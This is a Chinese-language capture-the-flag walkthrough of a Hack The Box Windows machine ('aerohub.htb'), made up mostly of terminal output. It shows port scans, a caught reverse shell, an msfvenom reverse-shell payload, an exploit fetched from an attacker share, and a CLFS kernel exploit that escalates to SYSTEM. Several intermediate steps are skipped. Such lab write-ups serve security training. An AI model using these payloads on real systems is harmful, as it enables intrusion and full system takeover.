┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- --min-rate=10000 -oG allports1 10.10.11.237 [sudo] kali 的密码： Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-23 18:53 CST Nmap scan report for10.10.11.237 Host is up (0.47s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 15.74 seconds
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p80 --min-rate=1000010.10.11.237 -sC -sV Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-23 18:54 CST Nmap scan report for10.10.11.237 Host is up (0.32s latency).
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Aero Theme Hub |_http-server-header: Microsoft-IIS/10.0 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 25.04 seconds
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- --min-rate=10000 -oG allports 10.10.11.237 -sU Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-23 19:01 CST Nmap scan report for10.10.11.237 Host is up (0.31s latency). All 65535 scanned ports on 10.10.11.237 are in ignored states. Not shown: 65535 open|filtered udp ports (no-response)
Nmap done: 1 IP address (1 host up) scanned in 16.74 seconds
3、看来真的只开放了这一个端口，是场硬战啊，还是2023年的机器也比较新，瞅下80端口
http://10.10.11.237/
4、网页上面有个域名地址，先本地绑定下吧
support@aerohub.htb
1 2 3 4
┌──(kali㉿offsec)-[~/Desktop] └─$ echo "10.10.11.237 aerohub.htb" | sudo tee -a /etc/hosts [sudo] kali 的密码： 10.10.11.237 aerohub.htb
┌──(kali㉿offsec)-[~/Desktop] └─$ rlwrap -cAr nc -lvnp 443 listening on [any] 443 ... connect to [10.10.14.45] from (UNKNOWN) [10.10.11.237] 57489 Windows PowerShell Copyright(C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
┌──(kali㉿offsec)-[~/Desktop] └─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.45 LPORT=4444 -f exe > shell.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 460 bytes Final size of exe file: 7168 bytes
PS C:\Users\sam.emerson\Documents> cd ../Desktop cd ../Desktop PS C:\Users\sam.emerson\Desktop> copy \\10.10.14.45\tb\exploit.exe . copy \\10.10.14.45\tb\exploit.exe . PS C:\Users\sam.emerson\Desktop> dir dir
PATHS [+] Folder Public Path = C:\Users\Public [+] Base log file name path= LOG:C:\Users\Public\25 [+] Base file path = C:\Users\Public\25.blf [+] Container file name path = C:\Users\Public\.p_25 Last kernel CLFS address = FFFFA6853F00F000 numero de tags CLFS founded 9
Last kernel CLFS address = FFFFA68541ED9000 numero de tags CLFS founded 1
number of pipes created =4000 TRIGGER START System_token_value: 4141414141414141 TRYING AGAIN TRIGGER START System_token_value: 4141414141414141 TRYING AGAIN TRIGGER START System_token_value: FFFFA6853AC41594 SYSTEM TOKEN CAPTURED Closing Handle ACTUAL USER=SYSTEM
20、成功获取到高权限的shell
1 2 3 4 5 6 7 8 9 10 11 12
┌──(kali㉿offsec)-[~/Desktop] └─$ rlwrap nc -lnvp 4444 listening on [any] 4444 ... connect to [10.10.14.45] from (UNKNOWN) [10.10.11.237] 57493 Microsoft Windows [Version 10.0.22000.1761] (c) Microsoft Corporation. All rights reserved.
C:\Users\sam.emerson\Desktop>whoami whoami nt authority\system
